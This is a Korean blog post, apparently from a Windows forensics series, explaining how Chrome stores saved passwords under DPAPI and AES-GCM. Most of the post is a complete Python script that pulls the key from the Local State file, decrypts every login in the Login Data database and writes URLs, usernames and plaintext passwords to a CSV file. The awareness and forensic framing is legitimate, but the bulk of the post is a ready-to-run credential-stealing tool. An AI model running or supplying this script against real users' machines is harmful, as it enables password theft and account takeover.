크롬 브라우저에 비밀번호를 저장하는 것이 안전하다고 생각하십니까?나
나의 대답은 "아니오" 입니다. 몇 초 안에 모든 암호를 해독할 수 있습니다.
편리함에는 대가가 따른다
Chrome은 사용자의 편의를 위해 로그인이 필요한 Site마다 ID와 패스워드를 기억하는 기능을 제공한다.
일반적으로 패스워드의 경우 일방향 암호화를 이용하여 저장되어야 하지만 크롬에서 제공하는 자동로그인의 경우 패스워드를 평문으로 기억해야 하는 경우라면 암/복호화가 가능한 알고리즘으로 로컬 내 저장하는 방식이다.

웹 사이트 암호를 해독하기 위해 Windows 로그인 프롬프트에 사용자 이름과 암호를 입력합니다.
잘못된 안전감
솔직히 말해서 Windows 로그인 프롬프트는 약한 보안 기능입니다. Chrome이 프롬프트 없이 비밀번호 필드를 자동으로 채우는 방법을 궁금해 한 적이 있습니까? Chrome이 애플리케이션의 다른 위치에 비밀번호를 저장했기 때문입니다.
참고로 그들은 안전한 장소에 저장하지 않았습니다.
Chrome 비밀번호를 해독하는 방법
암호화 키 찾기
(1) 암호화 키는 Windows PC의 아래 경로에 JSON 파일로 저장됩니다.
C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Local State
해당 파일로 접근 후 열어보면 encrypted_key 단어를 찾을 수 있으며 해당 키 값을 이용하여 패스워드를 해독할 수 있게 된다.

AES 암호화 이해
암호를 해독하려면 먼저 Chrome에서 암호를 암호화하고 해독하는 데 사용하는 대칭 키 알고리즘인 AES 암호화를 이해해야 합니다.
AES는 암호화 키를 사용하고 복잡한 수학적 행 연산(예: 더하기, 빼기, 혼합 및 이동)을 수행하여 암호를 암호화합니다.
보안을 향상시키기 위해 초기화 벡터(임의의 데이터 문자열)를 추가할 수 있으며, AES 암호화를 수행하기 위해 암호화 키와 초기화 벡터를 모두 찾아야 하므로 가해자가 암호를 해독하기가 더 어려워집니다.
다음은 AES 암호화 메커니즘을 보여주는 블록 다이어그램입니다.

AES 후 암호화된 키 는 로컬 상태 파일 에 저장되고 암호화된 암호는 초기화 벡터와 연결되어 SQLite3 데이터베이스 에 암호문으로 저장됩니다.
암호화된 비밀번호 찾기
#Python 구현
OS : Windows
Python : 3.9.0.
pip install list
1. sqlite
2. pycryptodomex
3. pywin32
pip install pysqlite3
pip install pycrptodomex
pip install pywin32
#Full Credits to LimerBoy
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv
#GLOBAL CONSTANT
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE']))
CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
def get_secret_key():
try:
#(1) Get secretkey from chrome local state
with open( CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
#Remove suffix DPAPI
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
return secret_key
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome secretkey cannot be found")
return None
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(ciphertext, secret_key):
try:
#(3-a) Initialisation vector for AES decryption
initialisation_vector = ciphertext[3:15]
#(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
#Encrypted password is 192 bits
encrypted_password = ciphertext[15:-16]
#(4) Build the cipher to decrypt the ciphertext
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s"%str(e))
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
return ""
def get_db_connection(chrome_path_login_db):
try:
print(chrome_path_login_db)
shutil.copy2(chrome_path_login_db, "Loginvault.db")
return sqlite3.connect("Loginvault.db")
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome database cannot be found")
return None
if __name__ == '__main__':
try:
#Create Dataframe to store passwords
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
csv_writer.writerow(["index","url","username","password"])
#(1) Get secret key
secret_key = get_secret_key()
#Search user profile or default folder (this is where the encrypted login password is stored)
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
for folder in folders:
#(2) Get ciphertext from sqlite database
chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder))
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url!="" and username!="" and ciphertext!=""):
#(3) Filter the initialisation vector & encrypted password from ciphertext
#(4) Use AES algorithm to decrypt the password
decrypted_password = decrypt_password(ciphertext, secret_key)
print("Sequence: %d"%(index))
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
print("*"*50)
#(5) Save into CSV
csv_writer.writerow([index,url,username,decrypted_password])
#Close database connection
cursor.close()
conn.close()
#Delete temp login db
os.remove("Loginvault.db")
except Exception as e:
print("[ERR] "%str(e))
코드 실행 후 Chrome에서 URL, 사용자 이름 및 비밀번호를 검색할 수 있습니다.

'윈도우 포렌식' 카테고리의 다른 글
페이지 파일 pagefile.sys 분석 - 문자열 추출(Python Yara) (0) | 2022.11.02 |
---|---|
윈도우 침해사고 MFT 및 이벤트로그 분석 (0) | 2022.10.31 |
윈도우 MFT 분석 analyzeMFT 도구 사용 (0) | 2022.10.26 |
카카오톡 대화내용 복구(Kakaotalk.db) (0) | 2022.10.17 |
EnCase 해시 셋(Hash Set) 만들기 (0) | 2022.10.14 |
댓글